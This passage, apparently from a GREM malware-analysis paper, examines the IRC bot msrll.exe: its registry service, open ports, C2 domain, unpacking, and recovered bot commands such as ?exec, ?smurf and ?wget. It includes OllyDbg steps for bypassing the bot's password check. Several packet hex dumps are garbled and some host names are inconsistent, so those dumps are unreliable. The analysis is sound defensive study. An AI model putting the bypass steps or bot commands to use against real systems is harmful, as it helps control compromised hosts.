   Description: File that contains application programming interface (API) functions to create and manage user profiles.

7. OPEN C:\WINNT\system32\netapi32.dll
   Description: File that contains the Windows NET API used by applications to access a Microsoft network.
8. OPEN C:\WINNT\system32\SECUR32.dll  
   Description: File that contains Windows Security functions.

9. OPEN C:\WINNT\system32\WSOCK32.dll  
   Description: File that contains the Windows Sockets API used by most Internet and  
   network applications to handle network connections.

10. OPEN C:\WINNT\system32\ICMP.dll  
    Microsoft has their own API for an ICMP.DLL that their ping and tracert applications use.

11. OPEN C:\WINNT\system32\MPRAPI.dll  
    Description: File that contains functions used to administer Microsoft Windows 2000  
    routers.

12. OPEN C:\WINNT\system32\DHCPSCVSVC.dll  
    Description: File used by Windows to provide DHCP client services.

13. OPEN C:\WINNT\system32\CRYPT32.dll  
    Description: File that contains the functions used by the Windows Crypto API for various  
    applications.

14. OPEN C:\dev\random  
    PATH NOT FOUND  
    Options: Open  Access: All  
    Note: Many attempts were made to open C:\dev\random.

Table of DLL file information from http://www.liutilities.com/products/wintaskspro/dlllibrary/shell32/

The filesystem activity reported by Filemon showed that there was a strong likelihood of  
network activity, and cryptographic activity related to msrll.exe.

When the msrll.exe file in C:\WINNT\System32\mfm was compared with the original  
extracted from the zip archive, it showed that they were exactly the same. This was a  
good sign. It probably meant that the malware was just copying itself, not changing or  
morphing as some polymorphic code can do.

MD5sum of the copied file:

![Screenshot of C:\WINNT\system32\mfm directory and MD5 sum of msrll.exe file](image_url)
Registry Analysis:

RegShot 1.61e5 showed that 47 Keys were added to the registry. Most were related to the various monitoring tools used to watch msrll.exe run. Two keys did seem to stand out which may have been created by msrll.exe:

<table>
<thead>
<tr>
<th>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm</th>
<th>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\Security</th>
</tr>
</thead>
</table>

Table Registry keys added to the registry

Regmon analysis showed that several registry values were set by both “Copy of msrll.exe” and msrll.exe:

“Copy of msrll.exe” set the following registry values:

| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | 8D 5A E3 C6 EC 9B A3 7E |
| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | 47 80 22 AC F8 D2 DB A0 |
| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | 26 C7 B0 8A 30 5E BE 56 |
| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | 64 D3 37 57 2F 6E 30 43 |
| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | 49 80 1C B2 18 68 BA 48 |
| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | CE 39 3C 74 87 CE A0 39 |
| HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed | 12 D4 6A B3 DB D6 AB FD |

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints\C\BaseClass

Table Registry values set by “Copy of msrll.exe” process

Msrll.exe set the following registry values:

| HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache | “C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files” |
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\Directory | “C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5” |
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\Paths | 0x4 |
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\Path1\CachePath | “C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\Cache1” |
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\Path2\CachePath | “C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\Cache2” |
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\Path3\CachePath | “C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\Cache3” |
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\Path4\CachePath | “C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\Cache4” |
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\Path1\CacheLimit | 0x9F94 |
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\Path2\CacheLimit | 0x9F94 |
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\Path3\CacheLimit | 0x9F94 |
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\Path4\CacheLimit | 0x9F94 |
| HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer | “C:\Documents and |
Both filesystem activity and registry activity showed that msrll.exe was very active with cryptographic functions. Additionally, msrll.exe was referencing Internet Explorer files used by the Administrator ID that started the process.

Regshot showed some information about the registry as well. Filtering through all the log data, the following registry information seemed to apply to the msrll.exe malware.

The following keys were added:

<table>
<thead>
<tr>
<th>Table Registry values set by msrll.exe process</th>
</tr>
</thead>
<tbody>
<tr>
<td>HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\mfm</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\mfm\Security</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\Security</td>
</tr>
</tbody>
</table>

GREM 1.0 – Gregory Leibolt
Under the Added Values section, the following values were added:

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\Security\Security: 01 00 14 80
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\Type: 0x00000120
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\Start: 0x00000002
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\ErrorControl: 0x00000002
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\ImagePath: "C:\WINNT\system32\mfm\msrll.exe"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\DisplayName: "Rll enhanced drive"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\ObjectName: "LocalSystem"
```

Table Registry values set by msrll.exe process

Network Analysis:

TDImon showed that msrll.exe opened 2 TCP ports:

```
56 12.01188866 msrll.exe:488 81446308 IRP_MJ_CREATE TCP:0.0.0.0:2200 SUCCESS Address Open
115 13.19907167 msrll.exe:488 812C03C8 IRP_MJ_CREATE TCP:0.0.0.0:113 SUCCESS Address Open
```

Screenshot TDImon output showing listening sockets on port 113 and 2200

Connections were attempted to the standard IRC service port 6667 and also 9999:

```
114 13.19579639 msrll.exe:488 812C08C8 TDI_CONNECT TCP:0.0.0.0:1030
192.168.239.131:6667 TIMEOUT-181
203 44.16933940 msrll.exe:488 81331348 TDI_CONNECT TCP:0.0.0.0:1031
192.168.239.131:9999 TIMEOUT-181
```

Screenshot TDImon output showing connection attempt to port 6667 and 9999

Differences in netstat output from before “Copy of msrll.exe” was run and after, also confirmed that the same two ports were opened.:  

```
TCP malware:auth malware:0 LISTENING
TCP malware:2200 malware:0 LISTENING
```

Screenshot netstat –a output showing the two ports opened by msrll.exe

Sniffer output showed attempts to find a Name server. In order to see more about what information was being queried from a DNS server, a netcat listener was started on UDP port 53 at the default gateway (Host system). Showing up on the listener there were DNS queries for a server called collective7.zxy0.com:

```
C:\Documents and Settings\Leibolt>nc -u -1 -p 53
```

Screenshot netcat session showing DNS queries
The Packetizer sniffer also showed the DNS requests:

```
Domain Name System (query)
  Transaction ID: 0xaaa3a
  Flags: 0x0100 (Standard query)
    .0. .. .... ... ... = Response: Message is a query
    .000 0.... .... .... = Opcode: Standard query (0)
    .... ..0. .... .... = Truncated: Message is not truncated
    .... ...1 .... .... = Recursion desired: Do query recursively
    .... .... .0.. .... = Z: reserved (0)
    .... .... ...0 .... = Non-authenticated data OK: Non-authenticated data is unacceptable
  Questions: 1
  Answer RRs: 0
  Authority RRs: 0
  Additional RRs: 0
  Queries
    collective7.zxy0.com: type A, class inet
      Name: collective7.zxy0.com
      Type: Host address
      Class: inet
      0000: 00 50 56 C0 00 01 00 0C 29 B8 60 0E 08 00 45 00 .PV.....).`...E.
      0010: 00 42 00 F7 00 00 80 11 D9 DC C0 A8 EF 84 C0 A8 .B............
      0020: EF 01 04 14 00 35 00 2E 59 76 AA 3A 01 00 00 01 ......5..Vv.....
      0030: 00 00 00 00 00 00 00 00 06 63 6F 6C 6C 65 63 74 69 76 65 77 72 69 6e 67 74 6f 70 6f 72 00 01 00 01 e7.zxy0.com.....
```

Screenshot sniffer output showing DNS request for collective7.zxy0.com

Since msrll.exe was using DNS queries to find collective7.zxy0.com, the VMware Linux system IP address was placed into the WINNT/system32/drivers/etc/host file on the VMware Windows 2000. The entry made was: 192.168.239.131 collector7.zxy0.com. Since the host file was checked before the DNS server was queried, msrll.exe would think the VMware Linux system was collector7.zxy0.com.

Re-running the msrll.exe showed that it attempted to communicate with the Linux system on common IRC port 6667, then, probably because that port was not open, 9999, then 8080. The previous TDImon information only told the analyst about port 6667 and 9999. This was because the analyst did not previously let the msrll.exe process run long enough. Now the analyst knew that port 8080 was used.

```
Source: 192.168.239.130 (192.168.239.130)
Source or Destination Address: 192.168.239.130 (192.168.239.130)
Destination: 192.168.239.131 (192.168.239.131)
Source or Destination Address: 192.168.239.131 (192.168.239.131)
Transmission Control Protocol, Src Port: 1064 (1064), Dst Port: 6667 (6667),
```

Screenshot sniffer output showing connection attempts to IRC ports
Netcat could easily be used to see what msrl.exe was trying to do on port 6667, but since 6667 was a port often used for IRC, an actual IRC service was set up on that port.

The IRC server was set up on the VMware Linux system using ircd-2.8/hybrid-6.3.1 using the same configuration used in the "Reverse-Engineering Malware: Tools and Techniques Hands-On" training class. Ports 6667 and 6666 were configured as the IRC communication ports.

Now that the msrl.exe thought it was communicating with collective7.xzy0.com on port 6667, a test was made to see what happened.

As expected, the msrl.exe malware joined, and thereby established a channel called #mils. The nick used was MeLpUegXWem.

Two packets captured in the Packetyzer sniffer showed the connection to the IRC server and the request to join the #mils channel:

```
Frame 11 (116 bytes on wire, 116 bytes captured)
Internet Protocol, Src Addr: 192.168.239.130 (192.168.239.130), Dst Addr: 192.168.239.131
Transmission Control Protocol, Src Port: 1113 (1113), Dst Port: 6667 (6667),
Internet Relay Chat
Request Line: USER kmvvkMHGBa localhost 0 :mkPIeGFTPnRWQjz
Request Line: NICK MeLpUegXWem
0000: 00 0C 29 5C B1 15 00 0C 29 B8 60 0E 08 00 45 00 ..\...\...E.
0010: 00 66 01 D6 40 00 80 06 98 64 C0 A8 EF 82 C0 A8 ..f...d......
0020: EF 83 04 59 1A 08 AC C4 BA 7E 90 0B CB 28 50 18 ...Y.......(P.
0030: FA 7D 1A C6 00 00 55 53 45 42 61 20 6C 6F 63 61 6C 68 6F 73 74 20 30 20 3A ...
0040: 4D 48 47 42 61 20 6C 6F 63 61 6C 68 6F 73 74 20 30 20 3A ...
0050: 6A 7A 0A 4E 49 43 4B 20 4D 65 53 45 52 20 6C 6F 63 61 6C 68 6F 73 74 20 30 20 3A ...
0060: 4D 48 47 42 61 20 6C 6F 63 61 6C 68 6F 73 74 20 30 20 3A ...

Frame 35 (67 bytes on wire, 67 bytes captured)
Internet Protocol, Src Addr: 192.168.239.130 (192.168.239.130), Dst Addr: 192.168.239.131
Transmission Control Protocol, Src Port: 1113 (1113), Dst Port: 6667 (6667),
Internet Relay Chat
Request Line: JOIN #mils :
0000: 00 0C 29 5C B1 15 00 0C 29 B8 60 0E 08 00 45 00 ..\...\...E.
0010: 00 35 01 DB 40 00 80 06 98 90 C0 A8 EF 82 C0 A8 .5...d......
0020: EF 83 04 59 1A 08 AC C4 BA 7E 90 0B CB 28 50 58 ...Y.......(P.
0030: FA 7D 1A C6 00 00 55 53 45 42 61 20 6C 6F 63 61 6C 68 6F 73 74 20 ...
0040: 4D 48 47 42 61 20 6C 6F 63 61 6C 68 6F 73 74 20 ...
```

Analysis of the sniffer output showed that the msrl.exe malware was connected to the IRC server and performed these three commands: JOIN #mils, MODE #mils, WHO #mils.

Naturally, a logical step was to see if any communication could be established with the msrl.exe nick. Therefore, the analyst also joined the #mils channel and attempted a variety of commands to see if any communication could be established. Some of the commands the analyst used were: hello, test, hi, password, pass, open, login, private, and secret in both open mode and using /msg directly to the nick used by the msrl.exe malware. Nothing the analyst tried generated any responses. While playing with the IRC channel, the analyst noticed that each time the msrl.exe malware connected to the IRC server, it used a different nick (which were all cryptic names that looked auto-generated).
Since playing with IRC lead nowhere, attention was directed to the two ports opened on the infected system by msrll.exe. The first port was running on 113 and usually supported the auth service. The sniffer output showed attempts by the IRC server to use the auth port to identify the user. Port 113 responded which IRC reported:

<table>
<thead>
<tr>
<th>Frame 15 (107 bytes on wire, 107 bytes captured)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Protocol, Src Addr: 192.168.239.130 (192.168.239.130), Dst Addr: 192.168.239.131 (192.168.239.131)</td>
</tr>
<tr>
<td>Transmission Control Protocol, Src Port: auth (113), Dst Port: 32779 (32779)</td>
</tr>
<tr>
<td>0000: 00 0C 29 5C B1 15 00 0C 29 B8 60 0E 08 00 45 00 (...). . .E.</td>
</tr>
<tr>
<td>0010: 00 5D 01 D8 40 00 80 06 98 69 C0 A8 EF 84 C0 A8 :..8......</td>
</tr>
<tr>
<td>0020: EF 83 00 71 80 0B C8 9B C9 95 19 EB 2B 19 80 18 ...q.........</td>
</tr>
<tr>
<td>0030: FA E3 51 1D 00 00 01 01 08 0A 00 04 C4 25 00 5D ...S.........</td>
</tr>
<tr>
<td>0040: 41 C9 31 30 36 33 20 2C 20 36 66 67 37 20 3A 20 A.1063 , 6667 :</td>
</tr>
<tr>
<td>0050: 55 53 45 52 49 44 40 20 3A 20 55 4E 49 58 20 3A 20 USERID : UNIX :</td>
</tr>
<tr>
<td>0060: 74 51 62 74 5A 64 41 75 79 50 0A tQbt2dAuyP.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Frame 20 (91 bytes on wire, 91 bytes captured)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Protocol, Src Addr: 192.168.239.131 (192.168.239.131), Dst Addr: 192.168.239.130 (192.168.239.130)</td>
</tr>
<tr>
<td>Transmission Control Protocol, Src Port: 6667 (6667), Dst Port: 1063 (1063) Source port: 6667 (6667)</td>
</tr>
<tr>
<td>Internet Relay Chat</td>
</tr>
<tr>
<td>Response: True</td>
</tr>
<tr>
<td>Response Line: NOTICE AUTH :*** Got Ident response</td>
</tr>
</tbody>
</table>
| 0000: 00 0C 29 B8 60 0E 00 0C 29 5C B1 15 08 00 45 00 (\...).
| 0010: 00 4D 4A 38 40 00 40 06 90 19 C0 A8 EF 83 C0 A8 .MJ80.@........ |
| 0020: EF 84 1A 0B 04 27 19 89 0C 40 C8 9B 61 C0 50 18 ....'...@.a.P. |
| 0030: 16 D0 6B 8A 00 00 4E 4F 54 49 43 45 20 41 55 54 ..k...NOTICE AUT |
| 0040: 48 20 3A 2A 2A 2A 2A 2A 2A 2A 47 6F 74 20 49 64 65 H :*** Got Ident |
| 0050: 50 72 65 73 70 6F 6E 73 73 0D 0A tQbt2dAuyP. |

So the analyst now knew what port 113 was used for. Port 2200 was another story. Sniffer logs did not show any activity with port 2200. Netcat was used to connect to TCP port 2200 which responded with "#:" prompt.

Standard commands such as “dir” and “cd” did not work, so it did not appear to behave as if it were a command shell with a “C:" prompt. The connection with port 2200 was closed after the second command was typed and the Enter key was pressed. This suggested that some kind of password was required to allow access.

**Code Analysis**

After numerous attempts were made at trying to communicate through the #mils, IRC channel and, also, with whatever was running on TCP port 2200 with no success, it was time to look at the code.

The analyst already suspected that the code was packed with ASPack. So the analyst tried loading the executable into IDA Pro 4.6 Evaluation Version. When the analyst did this, the following message appeared:
Again it looked like msrl.exe was a packed executable.

LordPE was used to try to dump the unpacked code. To do this, msrl.exe was run, then LordPE was attached to the process and “dump full” was selected. The dumped memory was then saved to a file called “msrll-dumped.”

The bintext tool, with the default settings, was used to view strings in this dumped code, which provided a lot of useful information. Some of the most interesting ones are shown below with comments:

<table>
<thead>
<tr>
<th>STRING</th>
<th>COMMENT</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;die</td>
<td>join</td>
</tr>
<tr>
<td>jtram.conf</td>
<td>This is the name of the file msrl.exe created</td>
</tr>
<tr>
<td>dcc.pass</td>
<td>Maybe a dcc password is used</td>
</tr>
<tr>
<td>miRC v6.12 Khaled Mardam-Bey</td>
<td>It looks like some or all of miRC is included in this program</td>
</tr>
<tr>
<td>resume</td>
<td>Possibly a command</td>
</tr>
<tr>
<td>DCC RESUME %s %s %u</td>
<td>Here is resume used with DCC</td>
</tr>
<tr>
<td>?insmod</td>
<td>All of these strings with the question mark look like commands</td>
</tr>
<tr>
<td>?rmmod</td>
<td></td>
</tr>
<tr>
<td>?lsmod</td>
<td></td>
</tr>
<tr>
<td>?ping</td>
<td></td>
</tr>
<tr>
<td>?smurf</td>
<td></td>
</tr>
<tr>
<td>?jolt</td>
<td></td>
</tr>
<tr>
<td>?status</td>
<td></td>
</tr>
<tr>
<td>?jump</td>
<td></td>
</tr>
<tr>
<td>?nick</td>
<td></td>
</tr>
<tr>
<td>?echo</td>
<td></td>
</tr>
<tr>
<td>?hush</td>
<td></td>
</tr>
<tr>
<td>?wget</td>
<td></td>
</tr>
<tr>
<td>?join</td>
<td></td>
</tr>
<tr>
<td>?akick</td>
<td></td>
</tr>
<tr>
<td>?part</td>
<td></td>
</tr>
<tr>
<td>?dump</td>
<td></td>
</tr>
<tr>
<td>?md5p</td>
<td></td>
</tr>
<tr>
<td>?free</td>
<td></td>
</tr>
<tr>
<td>?update</td>
<td></td>
</tr>
<tr>
<td>?hostname</td>
<td></td>
</tr>
<tr>
<td>?lif</td>
<td></td>
</tr>
<tr>
<td>?play</td>
<td></td>
</tr>
<tr>
<td>?copy</td>
<td></td>
</tr>
<tr>
<td>?move</td>
<td></td>
</tr>
<tr>
<td>?sums</td>
<td></td>
</tr>
<tr>
<td>?rmdir</td>
<td></td>
</tr>
<tr>
<td>?mkdir</td>
<td></td>
</tr>
<tr>
<td>Command</td>
<td>Note</td>
</tr>
<tr>
<td>--------------------</td>
<td>-----------------------------------</td>
</tr>
<tr>
<td>?exec</td>
<td></td>
</tr>
<tr>
<td>?kill</td>
<td></td>
</tr>
<tr>
<td>?killall</td>
<td></td>
</tr>
<tr>
<td>?crash</td>
<td></td>
</tr>
<tr>
<td>?sklist</td>
<td></td>
</tr>
<tr>
<td>?unset</td>
<td></td>
</tr>
<tr>
<td>?uattr</td>
<td></td>
</tr>
<tr>
<td>?dccsk</td>
<td></td>
</tr>
<tr>
<td>?killsk</td>
<td></td>
</tr>
<tr>
<td>DiCHFc2ioIvmb3cb4zz7zWZH1oM=</td>
<td>Looks like an encrypted string</td>
</tr>
<tr>
<td>dcc_wait: get of %s from</td>
<td>More dcc stuff</td>
</tr>
<tr>
<td>dcc_wait: closing [%#%u] %s:%u (%s)</td>
<td></td>
</tr>
<tr>
<td>DCC SEND %s %u %u</td>
<td></td>
</tr>
<tr>
<td>dcc.pass</td>
<td></td>
</tr>
<tr>
<td>bot.port</td>
<td>This might refer to what it sounds like, a &quot;bot&quot; port</td>
</tr>
<tr>
<td>msrll.exe</td>
<td>No explanation needed</td>
</tr>
<tr>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>No explanation needed</td>
</tr>
<tr>
<td>jtr.bin</td>
<td>Don’t know, but looks interesting</td>
</tr>
<tr>
<td>jtr.home</td>
<td></td>
</tr>
<tr>
<td>jtr.id</td>
<td></td>
</tr>
<tr>
<td>irc.quit</td>
<td>IRC stuff…</td>
</tr>
<tr>
<td>irc.chan</td>
<td></td>
</tr>
<tr>
<td>#mils</td>
<td>The joined channel</td>
</tr>
<tr>
<td>collective7.zxy0.com,collective7.zxy0.com:9999! collective7.zxy0.com:8080</td>
<td>The IRC server msrll.exe looks for</td>
</tr>
<tr>
<td>$1$KZLPLKDi$W8kI8Jr1X8DOHZsmIp9qq0</td>
<td>Looks like an encrypted string</td>
</tr>
<tr>
<td>$1$KZLPLKDi$55isA1ITvamR7bJAdBziX</td>
<td>Looks like an encrypted string</td>
</tr>
<tr>
<td>SSL_get_error</td>
<td>Lots of SSL stuff</td>
</tr>
<tr>
<td>SSL_load_error_strings</td>
<td></td>
</tr>
<tr>
<td>SSL_library_init</td>
<td></td>
</tr>
<tr>
<td>SSLv3_client_method</td>
<td></td>
</tr>
<tr>
<td>SSL_set_connect_state</td>
<td></td>
</tr>
<tr>
<td>SSL_CTX_new</td>
<td></td>
</tr>
<tr>
<td>SSL_new</td>
<td></td>
</tr>
<tr>
<td>SSL_set_fd</td>
<td></td>
</tr>
<tr>
<td>SSL_connect</td>
<td></td>
</tr>
<tr>
<td>SSL_write</td>
<td></td>
</tr>
<tr>
<td>SSL_read</td>
<td></td>
</tr>
<tr>
<td>SSL_shutdown</td>
<td></td>
</tr>
<tr>
<td>SSL_free</td>
<td></td>
</tr>
</tbody>
</table>

Table of interesting strings from bintext on unpacked msrll.exe

Please note that, because of the default settings on bintext, all the commands were not extracted. “Hackers” will sometimes use short command names to avoid a strings extraction. It is important to use appropriate settings when searching for strings. Additional commands in msrll.exe were identified later using another technique. All these strings extracted from msrll.exe provided commands to try in the #mils IRC channel. When these commands were attempted, nothing created any response. The same commands were tried on the TCP 2200 port without success as well. This was highly frustrating because it very much looked like these were commands used by msrll.exe, but nothing worked. The problem appeared to be that some kind of
authentication was required. There were some strings that might possibly be a password, but there were also the encrypted strings, which could be passwords, but the analyst did not have a way to decrypt them.

If an unpacked version of msrl.exe could be used in a debugger, breakpoints could be set and the operation of the program can be stepped through. LordPE was able to extract the unpacked code from memory, but it could not run as a stand-alone executable because it did not have a PE header. It might have been possible to find where the unpacker completed the unpacking of the msrl.exe code, put a breakpoint there, and then save that code to a file using one of OllyDebug’s plug-ins to re-create the PE header.

OllyDebug v109.d (Step 4) was used to control stepping through the execution of msrl.exe. A memory address was identified, 0051DF63, where the unpacking was completed and was about to be executed. Setting a breakpoint at this address and stepping forward using F7 caused an error: “Don’t know how to step because memory address CC4EAB06 is not readable. Try to change EIP or pass exception to program.” The EIP is the program counter often referred to as %eip, for “extended instruction pointer.” It points to the memory location of the next instruction the processor will execute. In this case, the packer, probably ASPack, modified the value in EIP to point to an unusable address for this point in the running program. The packer stored the correct address, but not knowing what it was, numerous things were tried to get around it, but to no avail.

In the “hacking” world, someone works to find a way to create a tool to undo another tool’s work. With this thought in mind, the search for a tool to unpack msrl.exe began.

A lot of sites were found with numerous unpacking tools for every kind of packer. At http://www.woodmann.com/crackz/Packers.htm#aspack_asprotect several different unpackers were available for multiple versions of ASPack. Not knowing which version of ASPack was used to pack msrl.exe, the analyst downloaded several of them. The downloads were checked with a virus checker and then tried against msrl.exe.

The unpackers that were downloaded and tried were:

<table>
<thead>
<tr>
<th>DeASPack v2.11</th>
<th>Unsuccessful</th>
</tr>
</thead>
<tbody>
<tr>
<td>QcASPack v1.0.1</td>
<td>Unsuccessful</td>
</tr>
<tr>
<td>Unaspack v1.0.9.1</td>
<td>Unsuccessful</td>
</tr>
<tr>
<td>AspackDie v1.3d</td>
<td>SUCCESS!</td>
</tr>
</tbody>
</table>
This is the readme for AspackDie:

AspackDie 1.3d
-------------
This is a small unpacker for PE files (EXE, DLL, ...) which got compressed by Aspack 2.11/2.11c/2.11d/2.12.
Have a look at the source code for more information.

Please send me files which don't work after unpacking if they were compressed by one of the supported version.

Known errors: - the unpacking process for DLLs fails if it imports at least one DLL that could not be located by the Win32 loader

Command line: AspackDie [input file path] [output file path]

Greetz:
avrlls, phantasm, Stone, analyst, MackT, ELiCZ, Jeremy Collake, Perfx, Daedalus, Snow Panther and all I forgot...

HaVe PhUn!
yoda
E-mail: LordPE@gmx.net
Check: y0da.cjb.net

Now that msrll.exe was unpacked, OllyDebug could be used to watch and manage it! The unpacked msrll.exe was loaded into OllyDebug and time was spent stepping through the execution of the program to become familiar with the over-all activity and structure of msrll.exe.

To learn more about possible commands, the string search function in OllyDebug was used to find the string “?login.” This search found a listing of commands, which were later used in further testing. Most were obviously commands, and others such as “VERSION,” “PING,” and “IDENT” might not be. The following table displays these commands starting at address 00409345:

<table>
<thead>
<tr>
<th>Address</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>00409345</td>
<td>&quot;?si&quot;,0</td>
</tr>
<tr>
<td>00409355</td>
<td>&quot;?clone&quot;,0</td>
</tr>
<tr>
<td>00409365</td>
<td>&quot;?reboot&quot;,0</td>
</tr>
<tr>
<td>00409375</td>
<td>&quot;?uptime&quot;,0</td>
</tr>
<tr>
<td>00409385</td>
<td>&quot;?login&quot;,0</td>
</tr>
<tr>
<td>00409395</td>
<td>&quot;?status&quot;,0</td>
</tr>
<tr>
<td>004093A5</td>
<td>&quot;?reboot&quot;,0</td>
</tr>
<tr>
<td>004093B5</td>
<td>&quot;?login&quot;,0</td>
</tr>
<tr>
<td>004093C5</td>
<td>&quot;?status&quot;,0</td>
</tr>
</tbody>
</table>

GREM 1.0 – Gregory Leibolt
In addition to identifying the commands, the analyst recorded different addresses that might be used for breakpoints in further testing. Since it appeared that a password or some kind of authentication was required to communicate with msrll.exe, setting breakpoints at strcmp functions would possibly provide a means to see if passwords were expected.

The strcmp calls were identified by selecting Ctrl-N in the msrll.exe executable module to show all Names. Breakpoints were set on all of them: 0040D655, 00410BD2, 00410C29, 0010C83 and 00412280. Using the IRC client on the VMware Linux system, commands were tried on the IRC #mils channel without success.

Netcat session on port 2200:

Attempts were then made to authenticate on the TCP 2200 port using netcat. At the “#” prompt, the analyst typed “pass BadPassword,” pressed the Enter key, then typed “XXX” and pressed the Enter key. This suddenly invoked the breakpoint at 0040D655. Nothing happened on the TCP 2200 port session, but there was the activity in the debugger. The F7 and F8 keys were used in OllyDebug to step through processing until it was apparent that two encrypted strings were being processed.

In the screenshot below, the reader can clearly see encrypted strings being processed:
Further analysis showed that whatever line of text was typed first, that line of text was taken as the password. This could be one or more words. Whatever line of text was typed second “pushed” the password to be checked. As seen above, the phrase: “pass BadPassword,” shown in the bottom line, had been encrypted and its “digest” was compared with the “stored digest” of the correct password. This can be seen at the top of the box above in the parameters: s1 and s2 in the top two lines.

In order to authenticate to msrll.exe, a brute force password tool could be used. However, the fact that the session was dropped after a failed attempt would have to be dealt with. Also, there was no way of knowing if a word or a phrase was used for the pass phrase. The better approach would be to just edit the appropriate code to make the passwords work or to bypass the check altogether.

Stepping through the strcmp processes revealed that the analyst could set a breakpoint at 7802745A. When the program paused at the breakpoint using OllyDebug, the analyst double clicked on the EDX register and copied the value. Then the analyst closed the pop-up and double clicked on the ECX register. Here the value from EDX was pasted. The analyst closed the pop-up and pressed F9 to continue. The encrypted password strings were now the same and access was allowed on the TCP 2200 port.

Shown below is a screenshot of the registers containing the two encrypted strings to be compared. EDX can be copied to ECX as seen in the “Modify ECX” window:

Another way to circumvent the password is to Open the memory window, edit 78027496 to NOP, NOP (90 90). This would ignore the test of the passwords altogether by not taking the compare jump.
The following steps perform this:

1. View
2. Memory
3. Scroll to 78001000
4. Double Click
5. Scroll to 78027496
6. Right Click
7. Select Binary
8. Select Edit
9. Type in 90 90
10. Click OK
11. Press F9 10 times to complete the comparison of the 2 hashes, and “you’re in.”

Msrl.exe Commands:

Once communication with the msrl.exe malware was established, a variety of commands were tried to learn more about the program. It was noted during attempts to use the various commands that a “/” or a “.” may be used instead of a “?” to evoke many of the commands.

List of commands:

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>?iff</td>
<td>Did not appear to work. Do not know function or purpose.</td>
</tr>
<tr>
<td>?kick</td>
<td>Used to kick off an IRC user.</td>
</tr>
<tr>
<td>?aop</td>
<td>Did not appear to work. Probably an IRC operator function.</td>
</tr>
<tr>
<td>?clone</td>
<td>Sets up clones.</td>
</tr>
<tr>
<td>?clones</td>
<td>Sends commands to clones.</td>
</tr>
<tr>
<td>?con</td>
<td>Turns on a kind of debugging mode.</td>
</tr>
<tr>
<td>?copy</td>
<td>Copies a file locally.</td>
</tr>
<tr>
<td>?crash</td>
<td>Did not appear to work. Do not know function or purpose. Possibly destroys system.</td>
</tr>
<tr>
<td>?dcc</td>
<td>Used to send dcc commands.</td>
</tr>
<tr>
<td>?dccsk</td>
<td>Used to connect to IRC servers.</td>
</tr>
<tr>
<td>?del</td>
<td>Deletes files locally.</td>
</tr>
<tr>
<td>?die</td>
<td>Used to remove clones.</td>
</tr>
<tr>
<td>?dir</td>
<td>Lists a local directory.</td>
</tr>
<tr>
<td>?dump</td>
<td>Did not try. Do not know function or purpose.</td>
</tr>
<tr>
<td>?echo</td>
<td>Echoes string input.</td>
</tr>
<tr>
<td>?exec</td>
<td>Used to exec a process.</td>
</tr>
<tr>
<td>?iff</td>
<td>Did not appear to work. Do not know function or purpose.</td>
</tr>
<tr>
<td>?free</td>
<td>Removes commands.</td>
</tr>
<tr>
<td>?hostname</td>
<td>Displays the hostname of the computer.</td>
</tr>
<tr>
<td>?hush</td>
<td>Did not try. Probably suspends a user from sending visible messages.</td>
</tr>
<tr>
<td>?insmod</td>
<td>Did not appear to work (On Linux, loads a module).</td>
</tr>
<tr>
<td>?join</td>
